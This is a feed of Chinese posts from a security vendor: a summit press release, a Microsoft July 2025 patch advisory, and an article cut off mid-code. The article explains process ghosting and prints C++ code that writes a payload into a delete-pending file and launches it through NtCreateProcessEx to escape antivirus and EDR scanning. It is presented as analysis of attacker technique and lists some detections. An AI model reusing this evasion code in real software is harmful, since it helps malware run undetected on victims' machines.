国内仅4家！山石网科入选Gartner®首次发布的云防火墙市场指南
首批！山石网科 iWAF 入选CCIA网络安全新产品公示名单
山石网科，中国UTM市场份额第三！

山石网科是中国网络安全行业的技术创新领导厂商，由一批知名网络安全技术骨干于2007年创立，并以首批网络安全企业的身份，于2019年9月登陆科创板（股票简称：山石网科，股票代码：688030）。
现阶段，山石网科掌握30项自主研发核心技术，申请560多项国内外专利。山石网科于2019年起，积极布局信创领域，致力于推动国内信息技术创新，并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发，旨在通过自主创新，为用户提供更高效、更安全的网络安全保障。目前，山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及基础设施安全、云安全、数据安全、应用安全、安全运营、工业互联网安全、信息技术应用创新、安全服务、安全教育等九大类产品服务，50余个行业和场景的完整解决方案。

阅读原文

跳转微信打开

聚焦主论坛｜“安芯守护智启未来”——2025年 · 安全守护者峰会

Sat, 12 Jul 2025 09:01:00 +0800

山石网科 2025-07-12 09:01 北京

开放融合、AI赋能、智慧运维

7月11日，由中国网络安全产业联盟（CCIA）指导，中国计算机学会计算机安全专业委员会主办，山石网科承办的“安芯守护智启未来”——2025年 · 安全守护者峰会在江苏苏州隆重启幕。

本届峰会以“ASIC安全专用芯片+AI技术”协同效应为核心议题，汇聚行业专家共同探讨“双A战略”如何驱动网络安全效能跃升，携手构筑智能时代安全新生态。

峰会现场，政府有关机构领导、专家学者、各界同仁齐聚一堂，除参与演讲及新品发布的领导外，莅临的领导嘉宾还包括：中国电子工业标准化技术协会信息技术应用创新工作委员会秘书长赵成志，苏州市数据局副局长王安方，公安部十一局原局长、中国安防协会会长顾建国，电力信息化专委会副主任委员、国家能源局信息中心、电力可靠性中心原副主任胡红升，中国移动通信有限公司研究院科技委常务副主任张滨，浙江大学教授、区块链与数据安全全国重点实验室首席研究员杜跃进，教育部高等学校网络空间安全专业教学指导委员会副秘书长刘毅等产学研各界权威人士。

同心共筑：智能时代网络安全新生态

中国网络安全产业联盟专职副秘书长，中国电子技术标准化研究院网络安全研究中心正高级工程师许玉娜在致辞中表示：“自主芯片与AI技术的深度融合正为网络安全产业注入创新动能。面对智能化、规模化的网络攻击，传统防护手段亟需升级。中国网络安全产业联盟（CCIA）将联合产业界各方力量，推动网络安全新技术新领域的信息交流，支持和推动网络安全产业的健康发展，为维护国家网络安全提供有力支撑。”

图注：中国网络安全产业联盟专职副秘书长，中国电子技术标准化研究院网络安全研究中心正高级工程师许玉娜

CCF计算机安全专委会主任，公安部第一、第三研究所原所长严明在致辞中提到：“AI技术既为网络安全带来精准防御新手段，也催生了高级威胁挑战，AI 时代的网络安全形势愈发复杂严峻，我们必须高度重视，积极应对。”同时提到：“山石网科自主研发的ASIC安全芯片突破性能瓶颈，为行业树立了自主创新的新标杆。我们呼吁产学研各界深化自主创新合作，共筑AI时代网络安全防线。”

图注：CCF计算机安全专委会主任，公安部第一、第三研究所原所长严明

山石网科董事长兼CEO叶海强在致辞中谈到：“今年是山石网科成立18年、上市6年，得益于各界支持，公司业务已覆盖全球60多个国家和地区。面向未来，山石网科提出‘双A战略’，即：ASIC加AI。2024年10月份，山石网科芯片一次性流片成功，目前进入规模量产前的准备阶段，计划于2026年上半年实现全部产品的ASIC平台切换；同时山石网科从AI的安全、安全的AI、山石的AI三个维度，紧跟AI发展趋势。我们坚信，安全的本质是守护，山石网科致力于成为以ASIC为代表的，以AI为基础的综合安全解决方案与服务提供商。”

图注：山石网科董事长兼CEO 叶海强

前沿洞察：数字身份与AI安全新范式

中国工程院院士沈昌祥在《用自主可信计算打造人工智能安全产业新生态》演讲中强调：“人工智能安全风险不容忽视，大模型参数规模庞大、结构复杂，带来决策难解释、数据安全隐患等问题，必须构建基于自主可信计算3.0的安全防护体系，通过‘计算同时进行安全防护’的新模式，实现全程可测可控。”沈院士表示，这一技术能有效降低系统脆弱性，防范未知攻击，为人工智能健康发展提供坚实保障，推动产业行稳致远。

图注：中国工程院院士沈昌祥

CCF计算机安全专委会常务副主任，公安部第一研究所研究员于锐在《国家网络身份认证公共服务建设和应用情况介绍》演讲中提到：“国家网络身份认证公共服务通过‘网号+网证’模式，在保障隐私安全前提下实现便捷身份核验。目前已完成基础设施建设和试点应用，覆盖交通、政务等重点领域，APP下载量超400万次。未来将深化与互联网平台合作，推动跨地区互认，为数字中国建设筑牢身份安全基石。”

图注：CCF计算机安全专委会常务副主任，公安部第一研究所研究员于锐

CCF杰出会员、计算机安全专委会常务委员、公安部第三研究所副所长、首席科学家金波发表《大模型防火墙（安全围栏）技术与产品测评》演讲，表示：“随着大模型应用爆发增长，其面临的安全威胁日益严峻。大模型防火墙作为专为生成式AI系统设计的安全防护机制，通过多层检测与拦截规则，有效防范恶意攻击和数据泄露。”并强调：“大模型防火墙并非终点，而是人工智能文明的‘免疫系统’——它在算法与伦理之间建立起一道安全屏障，有效实现发展与安全的动态平衡。”

图注：CCF杰出会员、计算机安全专委会常务委员、公安部第三研究所副所长、首席科学家金波

山石战略：双A驱动安全技术革新

山石网科创始人罗东平在会上强调，山石网科以“ASIC筑基，AI领航”为核心战略，通过自研安全专用芯片与AI技术双轮驱动，推动网络安全代际升级。他指出，ASIC芯片突破传统CPU防火墙性能瓶颈，实现高性能、低时延的硬件级防护，满足金融、政务等领域对国产化、高可靠安全的需求；而AI技术则通过大模型赋能安全运营与运维，构建智能防御体系。罗东平表示，这一战略是山石网科应对信创国产化趋势、用户安全管理提效的关键举措，未来将支撑公司实现产品性能与市场竞争力跨越式发展。

图注：山石网科创始人罗东平

山石网科首席战略官(CSO)兼首席AI官(CAIO)蒋东毅提出，山石网科“安全AI”战略以AI重塑安全生态，覆盖设备运维、数据安全及安全运营三大智能体场景：设备运维智能体可实现随时随地提供专家级安全服务；数据安全智能体提升分类分级效率20倍；安全运营智能体则通过威胁预测与自动化响应降低风险、提升运营效率。同时表示，山石网科以大模型安全解决方案应对新安全挑战，致力于让安全更智能、让智能更安全。

图注：山石网科首席战略官(CSO)兼首席AI官(CAIO) 蒋东毅

山石网科副总裁贾宇详细披露了公司ASIC芯片研发历程与阶段性成果：历经四年技术攻坚，该芯片已于2024年底实现成功流片。经多行业实测验证，芯片性能表现亮眼——可串行启动防火墙基础功能并持续稳定运行170天以上，满足高性能与高稳定性要求。贾宇指出，ASIC芯片已率先应用于防火墙产品线，未来90余款安全硬件将全线搭载，全面覆盖金融、运营商等行业。

图注：山石网科副总裁贾宇

工业和信息化部电子第五研究所元器件与材料研究院李义飞系统介绍了芯片供应链安全评测程序与要求，详细解读了合规测试项目要求，并公布测评结果：山石网科自主研发的ASIC安全芯片顺利通过电子五所专项测评，验证了其在核心技术自主性、安全性及可靠性方面达到国家相关标准要求，为国产化芯片在网络安全领域的规模化应用提供了认证支撑。

图注：工业和信息化部电子第五研究所元器件与材料研究院李义飞

会上，山石网科正式发布ASIC&AI战略新品，包括山石网科ASIC智能下一代防火墙、山石网科ASIC数据中心防火墙、山石灵岩大模型一体机、山石网科大模型应用防火墙、山石网科iWAF：Web资产自检测自防御系统等，以ASIC安全专用芯片与AI技术为核心，打造全域安全防护体系。

图注：山石网科正式发布ASIC&AI新品

（从左至右依次为中国网络安全产业联盟专职副秘书长，中国电子技术标准化研究院网络安全研究中心正高级工程师许玉娜；CCF计算机安全专委会副主任廖方宇；山石网科董事长兼CEO叶海强；山石网科创始人罗东平；CCF计算机安全专委会主任，公安部第一、第三研究所原所长严明；公安部网络安全保卫局原副局长、北京网络行业协会会长袁旭阳）

山石方案：AI+安全融合创新实践

智领未来，AI赋能网络安全新纪元

山石网科以山石灵岩大模型为核心，遵循网络安全与数据安全治理 7 步法，通过 “AI 赋能安全” 与 “保护 AI 安全” 双向驱动，有力支撑用户“一个中心、四个基石” 安全能力与服务落地。

凭借十余年的 “AI +安全”技术深耕，山石网科构建起覆盖安全运营、数据安全、安全助手等全场景的 AI 赋能防护体系。山石灵岩大模型一体机具备本地部署能力，帮助用户在使用大模型的同时筑牢数据隐私与合规防线。面对大模型应用的安全风险，山石网科推出 “应用安全 + 模型安全 + 数据安全” 三维防护框架，利用大模型应用防火墙等产品，助力用户快速构建大模型精准防护体系。

全新智能下一代防火墙，搭载自研ASIC安全专用芯片

山石网科全新智能下一代防火墙均搭载自研ASIC安全专用芯片，深度践行“开放融合、AI赋能、智慧运维”安全理念，融合AI与零信任架构，构建覆盖信创与非信创场景的全域安全基座，打造全场景网络安全解决方案。产品以“高性能、低时延、多接口、低碳节能、稳定可靠”五大核心优势，重新定义网络安全设备的性能标准，将广泛应用于金融、能源、政务、医疗等关键行业，为信创国产化替代与非信创数字化转型提供统一的安全底座。

开放融合，以Open XDR构建可持续安全运营

山石智源Open XDR是数据驱动、AI赋能的智能安全运营系统，统一整合来自云、网络、终端及第三方的海量安全数据，自动关联告警，识别威胁、开展攻击调查，并在多种异构安全产品与平台之间自动编排联动响应，助力企业构建从“被动防御” 到“主动研判”的现代化安全运营体系。平台采用南北向全面开放架构，融合先进的 AI 分析引擎与案件化调查机制，打破数据孤岛，实现安全能力高效融合与协同响应，全面提升安全运营效率与智能化水平。

从一维到多维，让数据安全治理有章可循

山石网科深耕数据安全多年，已形成涵盖十余条产品线的全面布局，可提供数据安全治理咨询、数据安全分类分级、数据安全风险评估、制度建设等在内的九大类数据安全治理服务能力，同时拥有一支超过300人的数据安全研发团队及咨询服务团队。山石网科坚持以科学的体系为指导，将理论与实践相结合，为客户提供全面的数据安全治理解决方案，通过完整的治理体系，协助用户进行数据安全战略的规划，并针对不同建设阶段的用户，明确建设思路并结合具体的落地方法论确保整个体系的顺利实施。

安芯守护智启未来

未来，山石网科将持续深化“ASIC+AI”双擎战略，以自主可控芯片筑牢安全根基，以智能技术重塑防御范式，为千行百业提供“芯片定义安全、AI驱动智能”的全栈解决方案及服务。在数字中国建设的浪潮中，山石网科愿与产学研各界携手，以技术创新守护网络空间，以生态协同赋能数字经济，共同迎接智能时代的安全新纪元。

现阶段，山石网科掌握30项自主研发核心技术，申请560多项国内外专利。山石网科于2019年起，积极布局信创领域，致力于推动国内信息技术创新，并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发，旨在通过自主创新，为用户提供更高效、更安全的网络安全保障。目前，山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及基础设施安全、云安全、数据安全、应用安全、安全运营、工业互联网安全、信息技术应用创新、安全服务、安全教育等九大类产品服务，50余个行业和场景的完整解决方案。

阅读原文

跳转微信打开

微软2025年7月补丁日重点漏洞安全预警

Thu, 10 Jul 2025 16:03:00 +0800

原创 NEURON 2025-07-10 16:03 北京

微软官方发布7月安全更新，请及时安装补丁修复。

微软官方发布7月安全更新‍

请及时安装补丁修复‍

补丁概述

2025年7月8日，微软官方发布了7月安全更新，针对130个Microsoft CVE进行修复和10个non-Microsoft CVE进行修复。Microsoft CVE中，包含12个严重漏洞（Critical）、117个重要漏洞（Important）和1个中危漏洞（Moderate）。从漏洞影响上看，有53个特权提升漏洞、42个远程代码执行漏洞、17个信息泄露漏洞、8个安全功能绕过漏洞、5个拒绝服务漏洞、4个欺骗漏洞和1个篡改漏洞。

130个漏洞中，暂⽆漏洞被发现在野利⽤，漏洞CVE-2025-49719被公开披露，有17个更有可能被利用的漏洞。

本次安全更新涉及多个Windows主流版本，包括Windows 11、Windows 10、Windows Server 2025等；涉及多款主流产品和组件，如Windows 路由和远程访问服务（RRAS）、Microsoft Office、Windows BitLocker、Windows Kernel、虚拟硬盘（VHDX）等。

重点关注漏洞

在野利用和公开披露漏洞

CVE-2025-49719：Microsoft SQL Server 信息泄露漏洞，已被公开披露。SQL Server 中不当的输入验证，可能允许未经身份验证的攻击者访问未初始化内存中的数据。

利用可能性较大的漏洞

CVE-2025-47981：SPNEGO 扩展协商安全机制（NEGOEX）远程执行代码漏洞，被标记为严重（Critical）漏洞。未经身份验证的攻击者可以通过向存在漏洞的服务器发送恶意消息来利用此漏洞，从而可能导致远程代码执行。
CVE-2025-49701：Microsoft SharePoint 远程执行代码漏洞。此漏洞源于Microsoft Office SharePoint 中的不当授权，在网络攻击中，攻击者如具备网站所有者权限，可编写并注入任意代码，从而远程执行其在 SharePoint 服务器上的恶意逻辑。
CVE-2025-49704：Microsoft SharePoint 远程执行代码漏洞，被标记为严重（Critical）漏洞。此漏洞源于对代码生成的控制不当，在网络攻击中，攻击者如具备网站所有者权限，可编写并注入任意代码，从而远程执行其在 SharePoint 服务器上的恶意逻辑。所有经过身份验证的攻击者皆可触发此漏洞，不需要管理员或其他提升权限。
CVE-2025-49724：Windows 连接设备平台服务远程代码执行漏洞。要利用此漏洞，攻击者需要以快速序列向互联设备平台服务的 5040 TCP 端口发送一系列数据包，此操作可能会导致远程代码执行。

CVE-2025-49695：Microsoft Office 远程执行代码漏洞，被标记为严重（Critical）漏洞。Microsoft Office 中的“释放后使用”允许未经授权的攻击者在本地执行代码，预览窗格是此漏洞的攻击途径，成功利用此漏洞的攻击者可以在无需用户交互的情况下实现远程代码执行。
CVE-2025-49696：Microsoft Office 远程执行代码漏洞，被标记为严重（Critical）漏洞。Microsoft Office 中的越界读取允许未经授权的攻击者在本地执行代码，预览窗格是此漏洞的攻击途径，成功利用此漏洞的攻击者可以在无需用户交互的情况下实现远程代码执行。
CVE-2025-49735：Windows KDC 代理服务（KPSSVC）远程代码执行漏洞，被标记为严重（Critical）漏洞。在 Windows KDC 代理服务（KPSSVC）中，“释放后使用”允许未经授权的攻击者使用特制应用程序，利用 Kerberos 密钥发行中心代理服务中的加密协议漏洞对目标执行远程代码执行，成功利用此漏洞需要攻击者赢得竞争条件。
CVE-2025-47987：凭据安全支持提供程序协议（CredSSP）特权提升漏洞。基于堆的缓冲区溢出缺陷（CWE-122）和整数溢出或超界折返缺陷（CWE-190），成功利用此漏洞的攻击者可以获得系统特权。

CVE-2025-48799：Windows Update 服务权限提升漏洞。Windows Update Service 中文件访问（“链接跟踪”）之前不正确的链接解析允许授权攻击者在本地提升权限，成功利用此漏洞的攻击者可以在 “NT AUTHORITY\SYSTEM” 帐户的安全上下文中创建、修改或删除文件。
CVE-2025-49718：Microsoft SQL Server 信息泄露漏洞。在 SQL Server 中使用未初始化的资源可允许未经授权的攻击者通过网络泄露信息，成功利用此漏洞的攻击者可以在取得特权的，运行在服务器上的流程中查看堆内存。
CVE-2025-49727：Win32k 特权提升漏洞。基于堆的缓冲区溢出缺陷（CWE-122），成功利用此漏洞的攻击者可以获得系统特权。
CVE-2025-49744：Windows 图形组件特权提升漏洞。基于堆的缓冲区溢出缺陷（CWE-122）、整数下溢缺陷（CWE-191）和使用共享资源的并发执行不恰当同步问题缺陷（CWE-362），成功利用此漏洞的攻击者可以获得有限的特定系统特权。

CVE-2025-48001：BitLocker 安全功能绕过漏洞。Windows BitLocker 中的检查时间使用时间（toctou）争用条件允许未经授权的攻击者通过物理攻击绕过安全功能，成功的攻击者可以绕过系统存储设备上的 BitLocker 设备加密功能。对目标具有物理访问权限的攻击者可以利用此漏洞访问加密的数据。
CVE-2025-48800：BitLocker 安全功能绕过漏洞。Windows BitLocker 中的保护机制故障允许未经授权的攻击者通过物理攻击绕过安全功能，成功的攻击者可以绕过系统存储设备上的 BitLocker 设备加密功能。对目标具有物理访问权限的攻击者可以利用此漏洞访问加密的数据。
CVE-2025-48804：BitLocker 安全功能绕过漏洞。在 Windows BitLocker 中接受无关的不受信任的数据和受信任的数据，允许未经授权的攻击者通过物理攻击绕过安全功能。攻击者可以在操作系统卷解锁时加载 WinRE.wim 文件来利用此漏洞，从而授予对 BitLocker 加密数据的访问权限。
CVE-2025-48818：BitLocker 安全功能绕过漏洞。Windows BitLocker 中的检查时间使用时间（toctou）争用条件允许未经授权的攻击者通过物理攻击绕过安全功能。成功的攻击者可以绕过系统存储设备上的 BitLocker 设备加密功能。对目标具有物理访问权限的攻击者可以利用此漏洞访问加密的数据。
CVE-2025-47978：Windows Kerberos 拒绝服务漏洞。Windows Kerberos 中的越界读取允许授权攻击者拒绝通过网络的服务。

严重（Critical）漏洞

CVE-2025-48822：Windows Hyper-V 离散设备分配（DDA）远程代码执行漏洞。Windows Hyper-V 中的越界读取允许授权攻击者通过相邻网络执行代码，攻击者需要诱骗用户导入 INF 文件。
CVE-2025-49717：Microsoft SQL Server 远程执行代码漏洞。经过身份验证的攻击者需要针对易受攻击的 SQL Server 运行特制的查询，并在利用之前采取额外的行动来准备目标环境，攻击复杂度很高，成功利用此漏洞可能允许攻击者逃离 SQL 服务器的上下文并在主机上执行代码。
CVE-2025-49697：Microsoft Office 远程执行代码漏洞。Microsoft Office 中基于堆的缓冲区溢出允许未经授权的攻击者在本地执行代码，攻击者可能会通过社会工程诱使受害者从网站下载并打开特制文件，从⽽导致对其计算机的本地攻击，预览窗格为此漏洞的攻击途径。
CVE-2025-49698：Microsoft Word 远程执行代码漏洞。Microsoft Office Word 中的“释放后使用”允许未经授权的攻击者在本地执行代码，攻击者可能会通过社会工程诱使受害者从网站下载并打开特制文件，从⽽导致对其计算机的本地攻击，预览窗格为此漏洞的攻击途径。
CVE-2025-49702：Microsoft Office 远程执行代码漏洞。在 Microsoft Office 中使用不兼容的类型访问资源（“类型混淆”）允许未经授权的攻击者在本地执行代码。攻击者必须向用户发送恶意文件并诱使他们将其打开，预览窗格为此漏洞的攻击途径。
CVE-2025-49703：Microsoft Word 远程执行代码漏洞。Microsoft Office Word 中的“释放后使用”允许未经授权的攻击者在本地执行代码，预览窗格为此漏洞的攻击途径。
CVE-2025-47980：Windows 成像组件信息泄露漏洞。在 Windows 映像组件中向未经授权的参与者公开敏感信息将允许未经授权的攻击者在本地泄露信息，成功利用此漏洞的攻击者可能会读取堆内存的小部份内容。

处置建议

根据微软官方指引，尽快下载安装补丁包进行修复，也可开启 Windows 自动更新保证补丁包的自动安装。

Microsoft 2025年7月安全更新指引：https://msrc.microsoft.com/update-guide/releaseNote/2025-Jul。

现阶段，山石网科掌握30项自主研发核心技术，申请560多项国内外专利。山石网科于2019年起，积极布局信创领域，致力于推动国内信息技术创新，并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发，旨在通过自主创新，为用户提供更高效、更安全的网络安全保障。目前，山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及边界安全、云安全、数据安全、业务安全、内网安全、智能安全运营、安全服务、安全运维等八大类产品服务，50余个行业和场景的完整解决方案。

阅读原文

跳转微信打开

进程伪装隐匿技术在杀毒软件对抗中的应用

Mon, 07 Jul 2025 16:20:00 +0800

原创 ixin 2025-07-07 16:20 北京

如何在不被杀毒软件发现的情况下启动恶意代码？攻击者是如何利用进程伪装与隐匿技术绕过EDR检测的？

如何在不被杀毒软件发现的情况下启动恶意代码？攻击者是如何利用进程伪装与隐匿技术绕过EDR检测的？

在网络安全的博弈中，攻击者与防御者之间的斗争从未停止。随着杀毒软件和EDR（终端检测与响应）工具的不断进化，攻击者也在寻找新的方法来绕过这些防护机制。本文[1]将深入探讨一种名为进程伪装与隐匿的技术,进程伪装与隐匿是当前网络安全领域中极具影响力的技术之一。它使攻击者能够巧妙地绕过传统的安全检测手段，从已删除的文件中启动恶意代码。这种技术在对抗恶意软件检测系统时被广泛使用。然而，为了深入理解其工作原理，我们首先需要掌握一些基础知识。

一、EDR（终端检测与响应）

首先我们先从NTAPI函数开始着手了解。通常情况下，这些函数无法直接调用，而是需要通过从ntdll.dll库中动态加载来执行。

在EDR（终端检测与响应）领域，相关工具通常会利用多种系统级函数来监控进程的创建活动。这些函数主要包括：

PsSetCreateProcessNotifyRoutineEx
PsSetCreateProcessNotifyRoutineEx2
PsSetCreateProcessNotifyRoutine

这些函数通过注册回调机制，使EDR工具能够实时监测系统中进程的创建事件，从而实现对潜在威胁的快速检测与响应。

EDR文件扫描操作通常发生在系统启动阶段，更精确地讲，是在进程创建的瞬间进行的。以下是上述提及函数的原型定义：

NTSTATUS PsSetCreateProcessNotifyRoutine(
  // 移除进程创建/终止通知回调
  [in] PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
  [in] BOOLEAN Remove
);NTSTATUS PsSetCreateProcessNotifyRoutineEx(
  // 移除扩展回调
  [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
  [in] BOOLEAN Remove
);NTSTATUS PsSetCreateProcessNotifyRoutineEx2(
  // 移除支持子系统过滤的进程通知
  [in] PSCREATEPROCESSNOTIFYTYPE NotifyType,
  [in] PVOID NotifyInformation,
  [in] BOOLEAN Remove
);

重要提示：扫描操作仅在进程启动时触发，而非其他任何时刻。这一机制的核心目的在于优化计算资源的高效利用，若对系统中所有文件进行全面扫描，尤其是涉及写入操作时，将耗费大量的时间，尤其在涉及写入操作时，这种时间成本会显著增加系统的负担，严重影响系统性能。

二、EDR对NtCreateUserProcess的监控机制EDR（终端检测与响应）

NtCreateUserProcess是内核级进程创建的核心NTAPI，EDR默认监控该函数，原因如下：

1.完整性

封装进程创建全流程（PE加载、线程初始化、句柄分配），确保EDR在回调阶段获取完整上下文。

2.不可分割性

进程与首个线程的创建是原子操作，外部无法干预中间状态，避免绕过检测。

3.回调触发

必然触发内核通知链（如进程/线程回调、映像加载回调），EDR可同步扫描：

PE文件（主模块/DLL）
进程内存（初始代码段）
行为链（API调用序列）

三、EDR对进程创建的标准化监控机制

核心路径：所有高层进程创建API最终均调用内核级NtCreateUserProcess，形成统一检测入口。

技术要点：

1.调用链收敛性

CreateProcess（Win32）→CreateProcessInternalW→NtCreateUserProcess（NTAPI）
RtlCreateUserProcess（NT层）→RtlpCreateUserProcessEx→NtCreateUserProcess

无论高层API如何封装，均归约至同一内核函数执行。

2.EDR监控必然性

NtCreateUserProcess触发内核回调链（如PsSetCreateProcessNotifyRoutineEx），EDR可同步获取：

进程镜像（SectionHandle对应的PE文件）
初始线程上下文（ThreadContext）
安全属性（PS_ATTRIBUTE_LIST）

3.对抗场景的局限性

直接调用NtCreateUserProcess不会绕过检测（EDR依赖内核回调，非APII层拦截）。
绕过需更底层技术（如手动映射PE、线程劫持），但会触发其他异常行为（无合法进程句柄/未注册回调）。

EDR通过NtCreateUserProcess的调用收敛性实现全覆盖监控，确保无论开发者使用Win32或NTAPI，均落入检测范围。

四、NtCreateProcessEx：EDR的检测盲区

（一）核心问题

非原子性创建：进程和线程分离，允许攻击者在启动线程前篡改内存或删除文件。
规避扫描：文件可被替换/删除，仅保留内存中的代码（无磁盘痕迹）。
回调缺失：EDR依赖的进程通知回调（如PsSetCreateProcessNotifyRoutineEx）无法捕获未启动线程的进程。

（二）典型攻击手法

1.文件置换：加载PE后删除原始文件，绕过静态扫描。

2.延迟线程启动：挂起进程，手动注入代码后再执行。

3.伪造映像路径：伪装成合法进程（如svchost.exe）。

（三）EDR应对策略

监控NtCreateProcessEx调用（异常调用链检测）。
内存扫描：检测无文件PE或异常内存映射。
线程行为分析：监控首次线程执行的API序列。

NtCreateProcessEx因其非原子性和灵活性可绕过传统EDR检测，需结合内存与行为监控弥补漏洞。

（四）编程实现

完成理论基础后，我们正式进入编程阶段。实现进程伪装与隐匿需依次执行以下步骤：
创建一个临时文件，该文件将在后续操作中被删除。当然可以调用NtCreateFileNTAPI函数来生成此文件。
在创建时，必须为其分配适当的权限，包括删除和写入权限，以确保后续操作的顺利执行。
出于安全性和规范性考虑，该临时文件应存储在系统的临时文件目录中，以避免对其他系统组件造成不必要的干扰。

首先我们从隐蔽的文件加载与进程创建开始：

HANDLE hProcess = INVALID_HANDLE_VALUE;
HANDLE hSection = INVALID_HANDLE_VALUE;
HANDLE hTempFile = INVALID_HANDLE_VALUE;
HANDLE hThread = INVALID_HANDLE_VALUE;
wchar_t filename[MAX_PATH] = { 0 };
wchar_t path_of_tempfile[MAX_PATH] = { 0 };
UNICODE_STRING file_name = { 0 };
IO_STATUS_BLOCK io_stat_block = { 0 };
OBJECT_ATTRIBUTES attributes = { 0 };
// 构造NT路径
wstring nt_path = L"\\??\\" + wstring(filePath);
// 获取临时文件夹路径并创建临时文件
DWORD tempfile_size = GetTempPathW(MAX_PATH, path_of_tempfile);
GetTempFileNameW(path_of_tempfile, L"TEMP", 0, filename);
// 检查临时文件夹路径获取是否成功
if (tempfile_size > MAX_PATH || (tempfile_size == 0)) return 1;
// 初始化UNICODE_STRING和OBJECT_ATTRIBUTES
RtlInitUnicodeString(&file_name, nt_path.c_str());
InitializeObjectAttributes(&attributes, &file_name, OBJ_CASE_INSENSITIVE, NULL, NULL);
// 打开临时文件
NTSTATUS status = NtOpenFile(&hTempFile,
  DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE,
  &attributes,
  &io_stat_block,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
  FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT
);
// 检查打开文件是否成功
if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

随后，需将该文件标记为待删除状态。通过调用NtSetInformationFile函数，并将最后一参数设为FileDispositionInformation来实现。此操作会使文件带上DeletePending标志，操作系统随后会在文件句柄关闭时将其删除。

FILE_DISPOSITION_INFORMATION info = { 0 }; //初始化
info.DeleteFile = TRUE; // 设置删除文件标志
status = NtSetInformationFile(hTempFile, &io_status_block, &info, sizeof(info), FileDispositionInformation); // 设置文件为待删除状态
if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

接下来，利用NtWriteFile函数，将需要绕过监控工具检测的代码写入临时文件。

LARGE_INTEGER offset = { 0 };
status = NtWriteFile(
  hTempFile,
NULL,
NULL,
NULL,
  &status_block,
// 存储有效载荷的缓冲区
  myCodeBuf,
// 有效载荷的大小
  myCodeSize,
  &offset,
NULL
);
if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

我们在去调用NtCreateSection函数，基于临时文件创建一个段对象。注意设置合适的参数：PAGE_READONLY和SEC_IMAGE，这表明你正在处理一个可执行映像文件。

status = NtCreateSection(&hSection,
  SECTION_ALL_ACCESS,
  NULL,
  0,
  PAGE_READONLY,
  SEC_IMAGE,
  // 从临时文件创建段对象
  hTempFile
);
if (status != STATUS_SUCCESS) return INVALID_HANDLE_VALUE;

通过调用NtClose关闭临时文件句柄。由于该文件已被标记为DeletePending，关闭句柄后，操作系统将立即删除该文件。

NtClose(hTempFile);

我们要在基于该段对象创建一个进程。由此，我们将获得一个指向新进程的句柄，后续可利用此句柄在该进程内创建线程。

status = NtCreateProcessEx(
  &hProcess,
  PROCESS_ALL_ACCESS,
NULL,
  NtCurrentProcess(),
  PS_INHERIT_HANDLES,
// 在前面步骤中创建的段对象
  hSection,
NULL,
NULL,
  FALSE
);
if (status != STATUS_SUCCESS) return 1;

为确保线程能在操作系统中正常运行，需配置PEB（进程环境块）及进程参数。

我们来处理进程参数：

UNICODE_STRING ImagePath = { 0 };
UNICODE_STRING DllPath = { 0 };
wchar_t curDirPath[MAX_PATH] = { 0 };
UNICODE_STRING CurrentDirectory = { 0 };
UNICODE_STRING WindowTitle = { 0 };
//初始化数据
wchar_t dllSystemDir[] = L"C:\\Windows\\System32";// 定义DLL系统目录路径
wchar_t* windowTitle = (LPWSTR)L"Calculator";
PRTL_USER_PROCESS_PARAMETERS pProcessParams = nullptr;
LPVOID Environment;
// 初始化路径获取当前工作目录
RtlInitUnicodeString(&ImagePath, victimPath); 
GetCurrentDirectoryW(MAX_PATH, curDirPath); 
RtlInitUnicodeString(&CurrentDirectory, curDirPath); 
CreateEnvironmentBlock(&Environment, NULL, TRUE); 
// 创建进程参数
NTSTATUS status = RtlCreateProcessParametersEx( 
  &pProcessParams,
  (PUNICODE_STRING)&ImagePath,
  (PUNICODE_STRING)&DllPath,
  (PUNICODE_STRING)&CurrentDirectory,
  (PUNICODE_STRING)&ImagePath,
  Environment,
  (PUNICODE_STRING)&WindowTitle,
nullptr,
nullptr,
nullptr,
  RTL_USER_PROC_PARAMS_NORMALIZED
);
if (status != STATUS_SUCCESS) return 1; // 检查创建是否成功

将参数写入进程（此处省略了验证正确性的冗长if语句）：

// 在目标进程中分配内存用于存储进程参数
VirtualAllocEx(hProcess, (LPVOID)pProcessParams, pProcessParams->Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 将进程参数写入目标进程的内存中
WriteProcessMemory(hProcess, (LPVOID)pProcessParams, (LPVOID)pProcessParams, pProcessParams->Length, NULL);
// 在目标进程中分配内存用于存储环境变量
VirtualAllocEx(hProcess, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 将环境变量写入目标进程的内存中
WriteProcessMemory(hProcess, (LPVOID)pProcessParams->Environment, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, NULL);

接下来，着手配置PEB（进程环境块）。事实上，这是一套标准流程，当通过NtCreateProcessEx及其类似函数启动此类进程时，便会执行此流程。它广泛存在于各类代码中，并非进程伪装与隐匿技术所独有。

// 初始化数据
PEB peb_struct = { 0 }; 
PROCESS_BASIC_INFORMATION pbi = { 0 }; 
SIZE_T count = 0; 
DWORD RetLen = 0; 
// 查询目标进程的PEB基地址
status = NtQueryInformationProcess( 
  hProcess,
  ProcessBasicInformation,
  &pbi,
sizeof(PROCESS_BASIC_INFORMATION),
  &RetLen
);
if (status != STATUS_SUCCESS) return 1; 
// 获取PEB基地址计算参数偏移计算参数在PEB中的地址
ULONGLONG pebBaseAddress = (ULONGLONG)pbi.PebBaseAddress; 
ULONGLONG param_offset = (ULONGLONG)&peb_struct.ProcessParameters - (ULONGLONG)&peb_struct; 
LPVOID new_image_base = (LPVOID)(pebBaseAddress + param_offset); 
if (!WriteProcessMemory(hProcess, new_image_base, 
  &pProcessParams, sizeof(PVOID), &count))
return 1; // 检查写入是否成功

